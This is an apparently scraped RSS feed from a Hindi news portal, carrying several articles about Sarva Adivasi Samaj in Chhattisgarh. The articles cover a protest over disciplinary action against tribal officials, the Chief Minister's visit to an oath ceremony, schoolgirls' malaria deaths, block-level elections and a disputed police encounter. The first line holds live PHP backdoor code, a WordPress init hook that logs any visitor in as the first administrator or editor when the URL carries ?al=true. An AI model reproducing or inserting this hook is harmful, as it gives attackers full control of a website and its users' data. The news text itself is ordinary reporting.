// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Sarva Adivasi Samaj – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 29 Dec 2024 14:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-बीजापुर में सर्व आदिवासी समाज की मांग, बिना नोटिस अधिकारी कर्मचारियों पर कार्रवाई पर लगे रोक https://pratyushaashakinayikiran.com/?p=115121 Sun, 29 Dec 2024 14:45:00 +0000 https://pratyushaashakinayikiran.com/?p=115121 बीजापुर।

बीजापुर में बिना नोटिस के आदिवासी अधिकारी कर्मचारियों पर होने वाली कार्रवाई पर रोक की मांग को लेकर सर्व आदिवासी समाज ने आदिवासी विकास परियोजना प्रशासक और बीजापुर कलेक्टर को ज्ञापन सौंपा है। सर्व आदिवासी समाज के जिला अध्यक्ष जग्गूराम तेलामी ने बताया कि बीते दिनों समाचार माध्यमों से ज्ञात हुआ है कि जिले के चिन्नाकोड़ेपाल और दुगईगुड़ा पोर्टा केबिन आवासीय विद्यालय के प्रभारी अधीक्षकों को अव्यवस्थाओं के लिए दोषी मानते हुए एक तरफा कार्रवाई की गई है जोकि न्याय संगत नहीं है।

अनुसूचित जनजाति वर्ग के अधिकारी कर्मचारियों से बिना उनका पक्ष जाने और चेतावनी, नोटिस के बिना वेतन वृद्धि रोके जाने जैसी घटनाओं पर तत्काल अंकुश लगाते हुए ऐसे अधिकारियों पर कार्रवाई किए जाने की मांग की गई है। सर्व आदिवासी समाज के अध्यक्ष जग्गूराम तेलामी ने कहा कि अनुसूचित क्षेत्र में कार्यरत सभी अधिकारी कर्मचारियों से अपेक्षा की जाती है कि यहां के आम जन मानस के समस्याओं के प्रति पूरी संवेदनशीलता के साथ समाधान में सहभागी बनेंगे। इसके साथ ही जिले में अधिकारी कर्मचारी निर्भय होकर अपने दायित्वों का निर्वहन करेंगे। जग्गूराम तेलामी ने कहा कि  बिना नोटिस आदिवासी अधिकारी कर्मचारियों पर कार्रवाई पर रोक नहीं लगने की स्थिति में सड़क की लड़ाई के लिए समाज मजबूर होगा जिसकी जिम्मेदारी शासन प्रशासन की होगी।

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छत्तीसगढ़-रायपुर में सर्व आदिवासी समाज के शपथ समारोह में पहुंचे मुख्यमंत्री साय, ‘जनजातीय समाज के विकास में सरकार प्रतिबद्ध’ https://pratyushaashakinayikiran.com/?p=107557 Sun, 08 Dec 2024 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=107557 रायपुर.

मुख्यमंत्री श्री विष्णुदेव साय रायपुर के इंदिरा गांधी कृषि विश्वविद्यालय परिसर स्थित कृषक सभागार में आयोजित छत्तीसगढ़ सर्व आदिवासी समाज के नवनिर्वाचित प्रबंधकारिणी समिति के शपथ ग्रहण समारोह में शामिल हुए। इस अवसर पर मुख्यमंत्री ने कहा कि जनजातीय समाज के विकास के लिए हमारी सरकार प्रतिबद्ध है। आदिवासी समाज को आगे बढ़ने के लिए सभी संसाधन उपलब्ध होंगे।

मुख्यमंत्री श्री साय ने छत्तीसगढ़ सर्व आदिवासी समाज के शपथ ग्रहण समारोह में शपथ ले रहे सभी नव निर्वाचित पदाधिकारियों को बधाई देते हुए कहा कि छत्तीसगढ़ सर्व आदिवासी समाज एक समृद्ध संगठन है। इस संगठन के सभी सदस्यों का लंबा अनुभव रहा है। मुझे विश्वास है कि आदिवासी समाज के प्रतिनिधि के रूप में वे अपनी जिम्मेदारी को बहुत कुशलता से निभाएंगे । मुख्यमंत्री श्री साय ने कहा कि आज जनजातीय समाज के विकास के लिए बहुत अच्छा वातावरण है। छत्तीसगढ़ सरकार के साथ-साथ प्रधानमंत्री श्री नरेन्द्र मोदी के नेतृत्व में केंद्र सरकार जनजातीय समाज के सामाजिक, शैक्षणिक और आर्थिक विकास के लिए प्रतिबद्ध है। दोनों सरकारें जनजातीय समाज की चिंता करती हैं। आज हम पूर्व प्रधानमंत्री श्री अटल बिहारी बाजपेयी को याद करते हैं जिन्होंने आदिवासियों के उत्थान के लिए छत्तीसगढ़ राज्य का निर्माण किया। जब मैं सांसद था तब उन्होंने आदिम जाति कल्याण मंत्रालय का गठन किया था। आज भारत के राष्ट्रपति पद पर आदिवासी समाज की महिला सुशोभित हैं और छत्तीसगढ़ में भी आदिवासी का बेटा मुख्यमंत्री है। यह बहुत गौरव की बात है। मुख्यमंत्री श्री विष्णुदेव साय ने कहा कि जनजातीय समाज के विकास के लिए लगातार काम हो रहे हैं। प्रधानमंत्री श्री नरेन्द्र मोदी ने धरती आबा जनजातीय ग्राम उत्कर्ष अभियान की शुरुआत विगत 2 अक्टूबर को की है। इस अभियान का लाभ 5 करोड़ जनजातीय लोगों को मिलेगा। इसमें छत्तीसगढ़ के कई गांव शामिल हैं। इन गांवों में सड़क, बिजली और पानी सहित सभी बुनियादी सेवाएं उपलब्ध हो रही हैं। मुख्यमंत्री ने कहा कि छत्तीसगढ़ में विशेष पिछड़ी जनजातियां हैं जिनके विकास के लिए प्रधानमंत्री जनमन योजना की शुरुआत की गई है। इस योजना के तहत इन समूहों के लिए बुनियादी सुविधाएं और सेवाएं पहुंचाई जाती हैं। आज जहां-जहां विशेष पिछड़ी जनजातियों की बसाहट है वहां सड़क, बिजली, राशन कार्ड, आयुष्मान कार्ड सहित सभी सुविधाएं मिल रही हैं। छत्तीसगढ़ में अब नई शिक्षा नीति भी लागू है। यह नीति रोजगारपरक है। इससे हमारे बच्चे पढ़कर रोजगार पाने के लिए सक्षम होंगे। आदिवासी बच्चों को प्रतियोगी परीक्षाओं में सफलता मिले इसलिए छत्तीसगढ़ में प्रयास संस्था बहुत अच्छा काम कर रही है।

मुख्यमंत्री ने कहा कि हमने देश की राजधानी नई दिल्ली में यूपीएससी की तैयारी कर रहे आदिवासी समाज के बच्चों के लिए ट्राइबल यूथ होस्टल की सीटों को बढ़ाकर 200 कर दिया है। हम राजधानी रायपुर की तरह पूरे प्रदेश में नालंदा परिसर बनाने जा रहे हैं। प्रदेश के 22 जिलों में नालंदा परिसर बनाने की स्वीकृति दे दी गई है। इससे छत्तीसगढ़ के सभी इलाकों के बच्चे अपने जिले में रहकर प्रतियोगी परीक्षाओं की तैयारी कर पाएंगे। जनजातीय समाज की बेहतरी के लिए सरगुजा विकास प्राधिकरण और बस्तर विकास प्राधिकरण कार्य कर रहे हैं। कार्यक्रम को संबोधित करते हुए विधानसभा अध्यक्ष डॉ रमन सिंह ने कहा कि मुख्यमंत्री श्री विष्णुदेव साय के नेतृत्व में छत्तीसगढ़ का तेजी से विकास हो रहा है। आज किसानों से 3100 रुपये प्रति क्विंटल के मान से धान खरीदी की जा रही है। महतारी वंदन योजना में 1000 रुपये माताओं-बहनों को दिया जा रहा है। एक साल में सरकार ने अनेक योजनाओं के माध्यम से लोगों के कल्याण के लिए कार्य किया है। कृषि मंत्री श्री रामविचार नेताम ने कहा कि मुख्यमंत्री श्री साय के नेतृत्व में सरकार द्वारा अनुसूचित जाति, अनुसूचित जनजाति और पिछड़े वर्ग के साथ समाज के सभी वर्गों के सर्वांगीण विकास के लिए कार्य किया जा रहा है। मुझे उम्मीद है कि छत्तीसगढ़ सर्व आदिवासी समाज का संगठन समाज के शोषित पीडितों की मदद के लिए उनकी आवाज बनकर शासन-प्रशासन तक बात पहुंचाएगा।
इस अवसर पर छत्तीसगढ़ सर्व आदिवासी समाज के प्रांताध्यक्ष श्री शिशुपाल सोरी, विधायक दुर्ग ग्रामीण श्री ललित चन्द्राकर, श्री बी एल ठाकुर, श्री बीपीएस नेताम, श्री एम आर ठाकुर, श्री फूल सिंह नेताम, श्री जे मिंज, श्री भारत सिंह , डॉ लक्ष्मी ध्रुव, सुश्री वंदना उइके, सुश्री शशि सिंह , श्री आर के राय सहित छत्तीसगढ़ सर्व आदिवासी समाज के लोग उपस्थित थे।

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छत्तीसगढ़ के मुख्यमंत्री विष्णु देव साय से मिला सर्व आदिवासी समाज, शपथ ग्रहण समारोह का दिया आमंत्रण https://pratyushaashakinayikiran.com/?p=66637 Thu, 05 Sep 2024 17:20:00 +0000 https://pratyushaashakinayikiran.com/?p=66637 रायपुर.

मुख्यमंत्री श्री विष्णु देव साय से कल रात यहां उनके निवास कार्यालय में छत्तीसगढ़ सर्व आदिवासी समाज के प्रतिनिधि मंडल ने प्रांताध्यक्ष शिशुपाल शोरी के नेतृत्व में सौजन्य मुलाकात की। उन्होंने मुख्यमंत्री को छत्तीसगढ़ सर्व आदिवासी समाज के नव निर्वाचित पदाधिकारियों के रायपुर में आयोजित होने वाले शपथ ग्रहण समारोह में मुख्य अतिथि के रूप में शामिल होने का आमंत्रण दिया।

मुख्यमंत्री ने आमंत्रण के लिए प्रतिनिधि मंडल को धन्यवाद देते हुए कार्यक्रम में आने की सहमति दी। प्रतिनिधि मंडल में छत्तीसगढ़ सर्व आदिवासी समाज के सर्वश्री बी.पी. एस नेताम, भारत सिंह, पूर्व विधायक श्री राजेंद्र कुमार राय, श्रीमती लक्ष्मी धु्रव और श्री श्यामलाल कंवर, सर्वश्री एम आर ठाकुर,  देवरतन सिंह, आर बी सिंह, फूल सिंह नेताम, मोहिंदर कंवर, गणेश धु्रव, कुंदन सिंह ठाकुर, शिव प्रसाद ध्रुव, सनम सिंह, श्रीमती हेमलता परते, श्रीमती उमा शर्मा, सुश्री अलका परते, श्री उपेंद्र ठाकुर डॉ शंकर उईके सहित अनेक पदाधिकारी और सदस्य शामिल थे।

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छत्तीसगढ़-बीजापुर में छात्राओं की मलेरिया से मौत पर आक्रोश, सर्व आदिवासी समाज ने मांगा 50-50 लाख का मुआवजा https://pratyushaashakinayikiran.com/?p=51612 Mon, 15 Jul 2024 16:15:00 +0000 https://pratyushaashakinayikiran.com/?p=51612 बीजापुर.

बीजापुर जिले के भोपालपट्टनम विकासखंड अंतर्गत आवासीय विद्यालय  तारलागुड़ा और संगमपल्ली की छात्राओं की मलेरिया से मौत पर सर्व आदिवासी समाज ने इसे शासन प्रशासन की लापरवाही करार देते हुए कारवाई और मुआवजे की मांग की है। सर्व आदिवासी समाज जिला बीजापुर के प्रवक्ता सालिक नागवंशी ने प्रेस विज्ञप्ति जारी कर कहा है कि शुक्रवार को तारलागुड़ा पोटा केबिन की कक्षा दूसरी की छात्रा की मौत मेडिकल कॉलेज जगदलपुर में होने की जानकारी मीडिया से मिलने जिला अध्यक्ष जग्गूराम तेलामी द्वारा वस्तुस्थिति और वास्तविकता जानने के लिए सर्व आदिवासी समाज के उपाध्यक्ष अनिल पामभोई के नेतृत्व में शनिवार और रविवार को दल भेजा गया था।  

परिजनों और पोटाकेबिन के कर्मियों से चर्चा में जो बात सामने आई है वह अधीक्षकों की लापरवाही को स्पष्ट करता है। चर्चा में पता चला है कि छात्राओं को मच्छरदानी वितरण नहीं किया गया था। इसके अलावा सत्र शुरू होने से पूर्व मच्छर रोधी दवा का छिड़काव और जल निकासी सहित छोटे मरम्मत जैसे कार्य भी नहीं किए गए।तारलागुड़ा की छात्रा को मलेरिया बुखार में झटके आने के बाद भी गंभीरता से न लेते हुए परिजनों को बुला कर उन्हें इलाज के लिए सौंप दिया गया था। ब्लॉक के संगमपल्ली पोटा केबिन की छात्रा की जान भी मलेरिया से गई। वहां भी मच्छरदानी बच्चों को नहीं दिया गया  और न ही मलेरिया रोधी दवा का छिड़काव किया गया था। आदिवासी समाज के नेता नागवंशी ने कहा कि आदिवासी सीएम विष्णुदेव सरकार में पोटा केबिन के रहवासी आदिवासी छात्रों का जीवन खतरे में मालूम पड़ता है। यह भी पता चला है कि बिना किसी कारण के हाल ही में राजनैतिक प्रभाव के चलते पूर्व अधीक्षकों को हटा कर नए लोगों को प्रभार सौंपा गया है। दोनों आदिवासी छात्राओं की मौत के लिए जिम्मेदारी तय कर दोषियों पर कड़ी कार्रवाई की जाए और मृतकों के परिजनों को 50-50 लाख का मुआवजा दिया जाए।

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छत्तीसगढ़-बीजापुर में सर्व आदिवासी समाज की इकाई गठित, तेलम अध्यक्ष और माड़वी बने सचिव https://pratyushaashakinayikiran.com/?p=47058 Mon, 01 Jul 2024 16:15:00 +0000 https://pratyushaashakinayikiran.com/?p=47058 बीजापुर.

बीजापुर में बहु प्रतीक्षित सर्व आदिवासी समाज के ब्लॉक इकाई बीजापुर के पदाधिकारियों का चुनाव और कार्यकारणी का विस्तार शनिवार को पूरा हो गया। शनिवार को गोंडवाना भवन में हुई सामाजिक बैठक में जिला पदाधिकारियों की मौजूदगी में सर्व सहमति से सामान्य, महिला प्रभाग और युवा प्रभाग के पदाधिकारियों के चयन प्रक्रिया पूरी की गई।

सर्व आदिवासी समाज के जिला सचिव कमलेश पैंकरा ने बताया कि दो चरणों में हुई सामाजिक बैठक में यह चयन प्रक्रिया सभी के सहमति से पूरी की गई है। सामान्य प्रभाग के ब्लाक इकाई में अध्यक्ष तेलम पाण्डुराम, उपाध्यक्ष मंगू लेकाम, प्रदीप भगत, इग्नेश तिर्की, महेंद्र नक्का, जनक नेताम, सचिव सतीश माड़वी, सह सचिव ओमप्रकाश कंवर, कोषाध्यक्ष बुधराम कोरसा, सह कोषाध्यक्ष धनेश कुंजाम, संरक्षक मासाराम तेलम, लच्छू ओयम, प्रफुल्ल कुजूर, भुनेश्वर सिंह कंवर, प्रमोद ओयाम और मीडिया प्रभारी सन्नू हेमला बनाए गए। महिला प्रभाग में अध्यक्ष सीता कोरसा, कार्यकारी अध्यक्ष कांता तेलाम, उपाध्यक्ष एंजेला बैक, कमला हेमला, सचिव मनीषा उरसा, संयुक्त सचिव मोनिका तेलम, सह सचिव  कमला कोरसा, रीमा मज्जी, कोषाध्यक्ष इंद्रादेवी कुंजाम, सह कोषाध्यक्ष चंद्रलेखा ध्रुव, मीडिया प्रभारी राधा हेमला, शशिकला बनाए गए। युवा प्रभाग में अध्यक्ष कोरसा दासू, उपाध्यक्ष जुलियस तिर्की, सोनू पुनेम, सचिव विनय उईके, सहसचिव राकेश तेलम, कोषाध्यक्ष संदीप तेलम, सलाहकार धनेश कुंजाम, कार्यकारिणी सदस्य चंद्रेश माड़वी, मीडिया प्रभारी रामा ताती चुने गए।

इस दौरान समाज के जिला अध्यक्ष जग्गू राम तेलामी, युवा प्रभाग जिला अध्यक्ष कुंवर सिंह मज्जी, महिला प्रभाग अध्यक्ष सुखमति हपका, पाकलू तेलम, कामेश्वर दुब्बा, अमित कोरसा, शिव पुनेम, बीएस भास्कर, वेंकटेश बुरका, सुशील हेमला सहित बड़ी संख्या में सामाजिक पदाधिकारी मौजूद थे।

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‘बीजापुर-छत्तीसगढ़ मुठभेड़ में नक्सली नहीं, निर्दोष ग्रामीण मारे गए’, सर्व आदिवासी समाज ने दावा कर बुलाया बंद https://pratyushaashakinayikiran.com/?p=35293 Tue, 28 May 2024 19:15:00 +0000 https://pratyushaashakinayikiran.com/?p=35293 बीजापुर.

बीजापुर जिले के पीडिया गांव में 10 मई को पुलिस और नक्सलियों के बीच हुई मुठभेड़ को सर्व आदिवासी समाज के द्वारा फर्जी बताया जा रहा है। उनका कहना है कि पुलिस जवानों ने निर्दोष ग्रामीणों को मारने के बाद उन्हें नक्सली घोषित किया है। इसके अलावा कोंडागांव के जिला अध्यक्ष के ऊपर फर्जी मुकदमा दर्ज करते हुए जिलाबदर कर दिया गया है। इन मामलों को लेकर बंद का आव्हान किया गया है।

सर्व आदिवासी समाज के जिलाध्यक्ष गंगा नाग ने बताया कि सर्व आदिवासी समाज बस्तर संभाग की संभाग स्तरीय बैठक 21 मई को की गई। जिसमें इस बात को कहा गया कि कुछ दिन पहले बीजापुर जिले के पीडिया गांव में पुलिस और नक्सलियों के बीच मे मुठभेड़ हुई, जिसके लिए समाज की ओर से 58 सदस्यों की एक टीम 17 मई को जांच के लिए भेजा गई। यहां इस बात का पता चला कि जिस दिन की घटना बताई जा रही है, उस दिन मारागुमेड तेंदूपत्ता खरीदी फंड में कुछ ग्रामीण तेंदूपत्ता खरीदने तो कुछ बेचने के लिए गए हुए थे। अचानक से पुलिस टीम को आता देख ग्रामीण डर के चलते भाग खड़े हुए। इस दौरान पुलिस की टीम ने चारों ओर से ग्रामीणों को घेर लिया। कुछ ग्रामीण पेड़ पर चढ़ गए तो कुछ लोग झाड़ियों के पीछे छुप गए। ग्रामीणों ने अपने आप को साधारण ग्रामीण बताने के बाद भी पुलिस टीम ने ग्रामीणों को गोली मारी। पेड़ पर चढ़े ग्रामीण ताती सुक्कू को गोली लगने के बाद उसका शव पेड़ में ही लटका रहा, जिसे बाद में पुलिस जवानों ने पेड़ से उतारा। इसके अलावा जिस ग्रामीण को मरने के बाद इनामी घोषित किया था। वह अभी भी जिंदा है, जबकि एक जेल में बंद है। यह मुठभेड़ पूरी तरीके से फर्जी है। इस मामले को लेकर ही 28 मई को नगर बंद का आव्हान किया गया है।
जिस पर बस्तर चेंबर ऑफ कॉमर्स को भी इसमें समर्थन देने के लिए पत्र लिखा गया है, जिस पर उन्होंने भी इस पर अपनी सहमति देते हुए आधे पहर के लिए अपनी दुकानों से लेकर प्रतिष्ठानों को बंद करने की बात कही है।

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